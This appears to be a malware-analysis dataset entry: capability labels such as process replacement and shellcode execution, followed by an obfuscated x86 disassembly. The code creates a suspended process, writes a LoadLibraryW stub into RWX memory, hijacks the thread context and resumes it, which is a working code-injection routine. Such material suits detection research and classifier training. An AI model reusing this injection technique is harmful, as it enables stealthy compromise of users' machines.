Function at 0x10044cb5
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x70
mov ecx, 0x8dec5955
mov edi, 0xdb44b442
cmp ecx, 0xfc3c9a53
jg 0x10044d09
cmp ecx, 0xa21f8796
jle 0x10044d3f
cmp ecx, 0xcf60e79f
jle 0x10044e17
cmp ecx, 0xcf60e7a0
je 0x10044f5c
cmp ecx, 0xdb44b442
jne 0x100451ed
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, 0x4529d8ff
jmp 0x10044cc8
cmp ecx, 0x4529d8fe
jg 0x10044de9
cmp ecx, 0x2034d12c
jg 0x10044e39
cmp ecx, 0xfc3c9a54
je 0x1004506e
cmp ecx, 0x7a1170a
jne 0x10044cc8
mov eax, dword [ebp - 0x18]
mov ecx, 0x4b5845f2
jmp 0x10044cc8
cmp ecx, 0x8dec5954
jg 0x10044edb
cmp ecx, 0x831aa9a5
je 0x1004507f
cmp ecx, 0x8cd6149d
jne 0x10044cc8
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
push 0x40
push 0x1000
push 0x247
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x10]
mov byte [eax], 0x68
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 0x3d
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 1], eax
mov eax, dword [ebp - 0x10]
add eax, 5
mov dword [ebp - 0x2c], eax
mov ecx, 0xcf60e7a0
jmp 0x10044cc8
cmp ecx, 0x54afb095
jg 0x10044f0d
cmp ecx, 0x4529d8ff
je 0x10045089
cmp ecx, 0x4b5845f2
jne 0x10044cc8
mov ecx, 0xfc3c9a54
jmp 0x10044cc8
cmp ecx, 0xa21f8797
je 0x1004513d
cmp ecx, 0xbb8810b6
jne 0x10044cc8
mov ecx, 0xcfa3f4f3
jmp 0x10044cc8
cmp ecx, 0x2034d12d
je 0x10045169
cmp ecx, 0x427a515d
jne 0x10044cc8
push 0x10093084
push dword [ebp - 0x30]
push 0x10092e7e
push dword [ebp - 0x34]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
push 0
push 0x247
push dword [ebp - 0x10]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0xb8], eax
mov eax, dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x18]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x18]
push dword [eax + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov eax, dword [ebp - 0x18]
push dword [eax]
call ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov ecx, 0x9c30c415
jmp 0x10044cc8
cmp ecx, 0x8dec5955
je 0x1004517e
cmp ecx, 0x9c30c415
jne 0x10044cc8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x7a1170a
jmp 0x10044cc8
cmp ecx, 0x54afb096
je 0x100451c7
cmp ecx, 0x78ebf009
jne 0x10044cc8
push str.assistant_spt.exe
push dword [ebp + 8]
push str.__s_s_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ebx, 0x44
push ebx
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
mov dword [ebp - 0x7c], ebx
mov eax, dword [ebp - 0x18]
mov ecx, 0x2034d12d
jmp 0x10044cc8
mov eax, dword [ebp - 0x2c]
mov word [eax], 0x15ff
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 0x39
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 7], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0xb], 0xb8
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb0]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x10], 0xb9
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xac]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x11], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x15], 0xba
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xa8]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x16], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x1a], 0xbb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xa4]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x1b], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x1f], 0xbc
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc4]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x24], 0xbd
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x25], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x29], 0xbe
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xa0]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x2a], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x2e], 0xbf
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x9c]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x2f], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x33], 0x68
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb8]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x34], eax
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x38], 0xc3
mov eax, dword [ebp - 0x24]
push str.LoadLibraryW
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x39], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x10]
add eax, 0x3d
mov dword [ebp - 0x34], eax
mov ecx, 0x427a515d
jmp 0x10044cc8
mov dword [ebp - 0x38], 0
mov ecx, 0xbb8810b6
jmp 0x10044cc8
mov ecx, 0x54afb096
jmp 0x10044cc8
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18], eax
sub esp, 0x248
mov eax, esp
mov dword [ebp - 0x10], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
sub esp, 0x2cc
mov eax, esp
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, dword [0x10098fb4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x53f6c629
and ecx, 0xac0939d6
or ecx, ebx
xor ecx, 0x53f6c628
or ecx, edx
xor ecx, 0xffffffff
sete ch
setne dl
cmp dword [0x10098fb8], 0xa
setge dh
setl cl
mov ebx, edx
inc dl
and dl, dh
and bl, cl
or dl, bl
mov edi, 0xdb44b442
mov dh, cl
xor dh, ch
or cl, ch
xor cl, 1
or cl, dh
mov dh, cl
xor dh, dl
test cl, cl
mov ecx, 0x831aa9a5
cmovne ecx, edi
test dl, dl
cmove ecx, edi
mov dword [ebp - 0x28], eax
test dh, dh
mov eax, 0x831aa9a5
cmove ecx, eax
jmp 0x10044cc8
push dword [ebp - 0x18]
lea eax, [ebp - 0x7c]
push eax
xor eax, eax
push eax
push eax
push 4
push eax
push eax
push eax
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
mov ecx, 0x8cd6149d
mov eax, 0x9c30c415
cmove ecx, eax
jmp 0x10044cc8
push 0x10
push dword [ebp - 0x18]
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
mov ecx, 0xa21f8797
jmp 0x10044cc8
mov ecx, dword [0x10098fb4]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x10098fb8], 0xa
setl dl
setge ch
and cl, ch
and dl, al
or dl, cl
or ch, al
mov al, ch
xor al, dl
test ch, 1
mov ecx, 0x4529d8ff
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, 1
mov eax, 0x4529d8ff
cmove ecx, eax
jmp 0x10044cc8
push 0x618
push 8
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test eax, eax
mov ecx, 0x78ebf009
mov eax, 0xfc3c9a54
cmove ecx, eax
jmp 0x10044cc8
cmp ecx, 0xcfa3f4f3
jne 0x10044cc8
mov eax, dword [ebp - 0x38]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret